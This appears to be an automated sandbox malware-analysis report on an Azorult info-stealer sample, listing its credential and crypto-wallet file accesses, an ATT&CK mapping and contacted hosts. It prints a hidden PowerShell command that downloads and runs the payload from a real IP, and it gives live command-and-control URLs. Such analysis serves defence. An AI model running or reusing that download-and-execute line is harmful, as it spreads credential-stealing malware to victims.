Source: Order-63729_Reference.exe, 00000004.00000002.2160202493.000000000073D000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000003.2108829117.000000000073D000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000715000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000003.2108880321.0000000000745000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00416B94 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,GetCurrentProcessId,

4_2_00416B94

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_0040B15C LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_0040B15C

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00407A34 mov eax, dword ptr fs:[00000030h]

4_2_00407A34

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden iwr -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile $env:TEMP\Order-63729_Reference.exe;Start-Process $env:TEMP\Order-63729_Reference.exe			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe "C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: GetLocaleInfoA,		4_2_00416FB8
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Code function: GetLocaleInfoA,		4_2_00404B4C

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_004065CC GetUserNameW,

4_2_004065CC

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00417098 GetTimeZoneInformation,

4_2_00417098

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Code function: 4_2_00404C15 GetCommandLineA,GetVersion,GetVersion,GetThreadLocale,GetThreadLocale,GetCurrentThreadId,

4_2_00404C15

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2159881984.0000000003F44000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2159558849.0000000003270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2159912461.0000000003274000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2158939584.00000000020C4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2158957820.0000000003C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order-63729_Reference.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED

Yara detected Azorult Info Stealer

Source: Yara match	File source: 4.2.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.Order-63729_Reference.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.2051907127.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order-63729_Reference.exe PID: 6980, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: Order-63729_Reference.exe, 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 4.3.Order-63729_Reference.exe.3865f7e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Order-63729_Reference.exe.37fa82d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Order-63729_Reference.exe.37d8840.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2159836982.0000000003AFC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order-63729_Reference.exe PID: 6980, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	4 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	11 Process Injection	2 Obfuscated Files or Information	2 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Timestomp	1 Credentials In Files	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Order-63729_Reference.bat	8%	ReversingLabs	Script-BAT.Downloader.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-console-l1-1-0.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-datetime-l1-1-0.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\nssdbm3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\455DFC6C\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe	92%	ReversingLabs	Win32.Infostealer.CoinStealer

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
h8m5b.shop	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ip-api.com/json	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://h8m5b.shop/	2%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://dotbit.me/a/	1%	Virustotal		Browse
http://h8m5b.shop/ML341/index.php	2%	Virustotal		Browse
http://h8m5b.shop/ML341/index.phpl	4%	Virustotal		Browse
http://217.160.121.141:8030/5643254657/Order-63729r.exe	2%	Virustotal		Browse
http://h8m5b.shop/ML341/index.phpt	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
h8m5b.shop	172.67.159.45	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://h8m5b.shop/ML341/index.php	true	2%, Virustotal, Browse	unknown
http://217.160.121.141:8030/5643254657/Order-63729r.exe	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/	Order-63729_Reference.exe, 00000004.00000003.2108829117.0000000000728000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.4.dr	false	0%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpA	Order-63729_Reference.exe, 00000004.00000003.2159818822.00000000020C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	0%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpes	Order-63729_Reference.exe, 00000004.00000002.2160202493.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.thawte.com0	Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false	URL Reputation: safe	unknown
http://ip-api.com/json	Order-63729_Reference.exe, Order-63729_Reference.exe, 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Order-63729_Reference.exe.2.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com0	Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false		unknown
https://dotbit.me/a/	Order-63729_Reference.exe, Order-63729_Reference.exe, 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Order-63729_Reference.exe.2.dr	false	1%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phps-settings:network	Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phprk	Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	Order-63729_Reference.exe, 00000004.00000003.2159246228.00000000037C0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Order-63729_Reference.exe, 00000004.00000003.2113777720.0000000000773000.00000004.00000020.00020000.00000000.sdmp, 678557889490724568831.tmp.4.dr, 67856257760153941723665.tmp.4.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpl	Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.php1	Order-63729_Reference.exe, 00000004.00000003.2108829117.0000000000728000.00000004.00000020.00020000.00000000.sdmp, Order-63729_Reference.exe, 00000004.00000002.2160202493.0000000000723000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.php/	Order-63729_Reference.exe, 00000004.00000003.2108829117.0000000000728000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.phpsq	Order-63729_Reference.exe, 00000004.00000003.2108829117.0000000000728000.00000004.00000020.00020000.00000000.sdmp	false		unknown
